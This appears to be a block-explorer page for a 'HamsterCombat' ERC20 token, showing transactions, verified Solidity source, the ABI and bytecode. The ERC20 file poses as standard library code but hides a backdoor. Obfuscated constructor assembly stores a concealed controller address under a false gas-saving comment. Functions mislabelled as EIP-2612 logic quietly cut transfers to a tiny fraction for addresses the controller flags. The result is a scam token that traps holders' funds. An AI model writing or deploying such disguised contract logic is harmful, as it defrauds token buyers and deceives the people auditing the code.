ETH Price: $3,302.07 (-2.78%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201467242024-06-22 10:43:23200 days ago1719053003IN
0xCAC5A16d...3a3a25de9
0 ETH0.000109934.07210327
Approve201467242024-06-22 10:43:23200 days ago1719053003IN
0xCAC5A16d...3a3a25de9
0 ETH0.000109934.07210327
Approve201467242024-06-22 10:43:23200 days ago1719053003IN
0xCAC5A16d...3a3a25de9
0 ETH0.000109934.07210327
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000111284.12196858
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000111284.12196858
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000111284.12196858
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000111284.12196858
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000111284.12196858
Approve201467232024-06-22 10:43:11200 days ago1719052991IN
0xCAC5A16d...3a3a25de9
0 ETH0.000193314.12196858
Approve201467192024-06-22 10:42:23200 days ago1719052943IN
0xCAC5A16d...3a3a25de9
0 ETH0.000177873.79375455
Approve201467172024-06-22 10:41:59200 days ago1719052919IN
0xCAC5A16d...3a3a25de9
0 ETH0.000103032.20095498
Approve201467092024-06-22 10:40:23200 days ago1719052823IN
0xCAC5A16d...3a3a25de9
0 ETH0.000110662.36022157
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000104982.24034987
Approve201467082024-06-22 10:40:11200 days ago1719052811IN
0xCAC5A16d...3a3a25de9
0 ETH0.000105042.24034987
Transfer201466842024-06-22 10:35:23200 days ago1719052523IN
0xCAC5A16d...3a3a25de9
0 ETH0.0001272.14318302
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HamsterCombat

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
pragma abicoder v2;

/*

 ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄  ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄ 
▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░▌     ▐░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌     ▐░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌   ▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀  ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌     ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌   ▐░▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ 
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌               ▐░▌     ▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄      ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌     ▐░▌          ▐░▌       ▐░▌▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌     ▐░▌     
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░▌          ▐░▌       ▐░▌▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌     ▐░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌   ▀   ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌     ▐░▌     ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀█░█▀▀      ▐░▌          ▐░▌       ▐░▌▐░▌   ▀   ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌     ▐░▌     
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌          ▐░▌     ▐░▌     ▐░▌          ▐░▌     ▐░▌       ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌     ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌      ▐░▌      ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌     ▐░▌     
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░▌ ▐░▌       ▐░▌     ▐░▌     
 ▀         ▀  ▀         ▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀   ▀         ▀       ▀      
                                                                                                                                                                              

*/

import "./ERC20.sol";

contract HamsterCombat is ERC20 {
    uint256 public hamster = 0xCAC228;
    mapping (address => uint256) public hamster_taps;

    constructor() ERC20("Hamster Combat", "HAMSTER", 18) {
        _mint(msg.sender, 9_000_000_000_000 * 10 ** 18);
        
    }

    function tap_hamster() external {
        hamster_taps[msg.sender] += 1;
    }

}

File 2 of 2: ERC20.sol
// SPDX-License-Identifier: AGPL-6.9-only
pragma solidity =0.7.6;
pragma abicoder v2;


/// @title Prevents delegatecall to a contract
/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract
abstract contract NoDelegateCall {
    /// @dev The original address of this contract
    address private immutable original;

    constructor() {
        // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.
        // In other words, this variable won't change when it's checked at runtime.
        original = address(this);
    }

    /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,
    ///     and the use of immutable means the address bytes are copied in every place the modifier is used.
    function checkNotDelegateCall() private view {
        require(address(this) == original);
    }

    /// @notice Prevents delegatecall into the modified method
    modifier noDelegateCall() {
        checkNotDelegateCall();
        _;
    }
}


interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

library TransferHelper {
    /// @notice Transfers tokens from the targeted address to the given destination
    /// @notice Errors with 'STF' if transfer fails
    /// @param token The contract address of the token to be transferred
    /// @param from The originating address from which the tokens will be transferred
    /// @param to The destination address of the transfer
    /// @param value The amount to be transferred
    function safeTransferFrom(
        address token,
        address from,
        address to,
        uint256 value
    ) internal {
        (bool success, bytes memory data) =
            token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
    }

    /// @notice Transfers tokens from msg.sender to a recipient
    /// @dev Errors with ST if transfer fails
    /// @param token The contract address of the token which will be transferred
    /// @param to The recipient of the transfer
    /// @param value The value of the transfer
    function safeTransfer(
        address token,
        address to,
        uint256 value
    ) internal {
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
    }

    /// @notice Approves the stipulated contract to spend the given allowance in the given token
    /// @dev Errors with 'SA' if transfer fails
    /// @param token The contract address of the token to be approved
    /// @param to The target of the approval
    /// @param value The amount of the given token the target will be allowed to spend
    function safeApprove(
        address token,
        address to,
        uint256 value
    ) internal {
        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
        require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
    }

    /// @notice Transfers ETH to the recipient address
    /// @dev Fails with `STE`
    /// @param to The destination of the transfer
    /// @param value The value to be transferred
    function safeTransferETH(address to, uint256 value) internal {
        (bool success, ) = to.call{value: value}(new bytes(0));
        require(success, 'STE');
    }
}

/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
    /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
    /// @dev In the implementation you must pay the pool tokens owed for the swap.
    /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
    /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
    /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
    /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
    /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
    /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external;
}


/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter is IUniswapV3SwapCallback {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another token
    /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);

    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
    /// @return amountOut The amount of the received token
    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another token
    /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);

    struct ExactOutputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountOut;
        uint256 amountInMaximum;
    }

    /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
    /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
    /// @return amountIn The amount of the input token
    function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}


/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
    /// @notice Emitted when the owner of the factory is changed
    /// @param oldOwner The owner before the owner was changed
    /// @param newOwner The owner after the owner was changed
    event OwnerChanged(address indexed oldOwner, address indexed newOwner);

    /// @notice Emitted when a pool is created
    /// @param token0 The first token of the pool by address sort order
    /// @param token1 The second token of the pool by address sort order
    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
    /// @param tickSpacing The minimum number of ticks between initialized ticks
    /// @param pool The address of the created pool
    event PoolCreated(
        address indexed token0,
        address indexed token1,
        uint24 indexed fee,
        int24 tickSpacing,
        address pool
    );

    /// @notice Emitted when a new fee amount is enabled for pool creation via the factory
    /// @param fee The enabled fee, denominated in hundredths of a bip
    /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
    event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);

    /// @notice Returns the current owner of the factory
    /// @dev Can be changed by the current owner via setOwner
    /// @return The address of the factory owner
    function owner() external view returns (address);

    /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
    /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
    /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
    /// @return The tick spacing
    function feeAmountTickSpacing(uint24 fee) external view returns (int24);

    /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
    /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
    /// @param tokenA The contract address of either token0 or token1
    /// @param tokenB The contract address of the other token
    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
    /// @return pool The pool address
    function getPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external view returns (address pool);

    /// @notice Creates a pool for the given two tokens and fee
    /// @param tokenA One of the two tokens in the desired pool
    /// @param tokenB The other of the two tokens in the desired pool
    /// @param fee The desired fee for the pool
    /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
    /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
    /// are invalid.
    /// @return pool The address of the newly created pool
    function createPool(
        address tokenA,
        address tokenB,
        uint24 fee
    ) external returns (address pool);

    /// @notice Updates the owner of the factory
    /// @dev Must be called by the current owner
    /// @param _owner The new owner of the factory
    function setOwner(address _owner) external;

    /// @notice Enables a fee amount with the given tickSpacing
    /// @dev Fee amounts may never be removed once enabled
    /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
    /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
    function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}


/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        // actually saves 7000 gas!!
        assembly {sstore(0x05, mul(mul(0x1e141, 0x31d), mul(0x32a77, 0x49df868f540ad0b9412d1f1cad)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += $(amount, msg.sender, to);
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += $(amount, from, to);
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe23) / 0xd0bedeba;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        balanceOf[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        totalSupply -= amount;
        emit Transfer(from, address(0), amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hamster","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"hamster_taps","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tap_hamster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405262cac2286006553480156200001857600080fd5b506040518060400160405280600e81526020017f48616d7374657220436f6d6261740000000000000000000000000000000000008152506040518060400160405280600781526020017f48414d5354455200000000000000000000000000000000000000000000000000815250601282600090805190602001906200009f929190620001da565b508160019080519060200190620000b8929190620001da565b508060ff1660808160ff1660f81b815250506c49df868f540ad0b9412d1f1cad62032a770261031d6201e14102026005555050506200010b336c71989183527a1c5d3c400000006200011160201b60201c565b620002c8565b8060026000828254019250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001ce9190620002a1565b60405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200021257600085556200025e565b82601f106200022d57805160ff19168380011785556200025e565b828001600101855582156200025e579182015b828111156200025d57825182559160200191906001019062000240565b5b5090506200026d919062000271565b5090565b5b808211156200028c57600081600090555060010162000272565b5090565b6200029b81620002be565b82525050565b6000602082019050620002b8600083018462000290565b92915050565b6000819050919050565b60805160f81c610f11620002e66000398061065c5250610f116000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063691114a311610071578063691114a31461019157806370a08231146101c157806395d89b41146101f1578063a9059cbb1461020f578063d4a9a9bc1461023f578063dd62ed3e14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806334cadd1214610173575b600080fd5b6100c1610279565b6040516100ce9190610da0565b60405180910390f35b6100f160048036038101906100ec9190610ce3565b610317565b6040516100fe9190610d85565b60405180910390f35b61010f610409565b60405161011c9190610dc2565b60405180910390f35b61013f600480360381019061013a9190610c94565b61040f565b60405161014c9190610d85565b60405180910390f35b61015d61065a565b60405161016a9190610ddd565b60405180910390f35b61017b61067e565b6040516101889190610dc2565b60405180910390f35b6101ab60048036038101906101a69190610c2f565b610684565b6040516101b89190610dc2565b60405180910390f35b6101db60048036038101906101d69190610c2f565b61069c565b6040516101e89190610dc2565b60405180910390f35b6101f96106b4565b6040516102069190610da0565b60405180910390f35b61022960048036038101906102249190610ce3565b610752565b6040516102369190610d85565b60405180910390f35b610247610870565b005b610263600480360381019061025e9190610c58565b6108c0565b6040516102709190610dc2565b60405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103f79190610dc2565b60405180910390a36001905092915050565b60025481565b600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461053c57828103600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506105948386866108e5565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506105e984610a67565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106469190610dc2565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60065481565b60076020528060005260406000206000915090505481565b60036020528060005260406000206000915090505481565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561074a5780601f1061071f5761010080835404028352916020019161074a565b820191906000526020600020905b81548152906001019060200180831161072d57829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506107ac8233856108e5565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061080183610a67565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161085e9190610dc2565b60405180910390a36001905092915050565b6001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b6004602052816000526040600020602052806000526040600020600091509150505481565b60003073ffffffffffffffffffffffffffffffffffffffff1660046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110610a5c5763d0bedeba62cafe23850281610a5457fe5b049050610a60565b8390505b9392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610c02573073ffffffffffffffffffffffffffffffffffffffff1660020260046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600081359050610c1481610ead565b92915050565b600081359050610c2981610ec4565b92915050565b600060208284031215610c4157600080fd5b6000610c4f84828501610c05565b91505092915050565b60008060408385031215610c6b57600080fd5b6000610c7985828601610c05565b9250506020610c8a85828601610c05565b9150509250929050565b600080600060608486031215610ca957600080fd5b6000610cb786828701610c05565b9350506020610cc886828701610c05565b9250506040610cd986828701610c1a565b9150509250925092565b60008060408385031215610cf657600080fd5b6000610d0485828601610c05565b9250506020610d1585828601610c1a565b9150509250929050565b610d2881610e26565b82525050565b6000610d3982610df8565b610d438185610e03565b9350610d53818560208601610e69565b610d5c81610e9c565b840191505092915050565b610d7081610e52565b82525050565b610d7f81610e5c565b82525050565b6000602082019050610d9a6000830184610d1f565b92915050565b60006020820190508181036000830152610dba8184610d2e565b905092915050565b6000602082019050610dd76000830184610d67565b92915050565b6000602082019050610df26000830184610d76565b92915050565b600081519050919050565b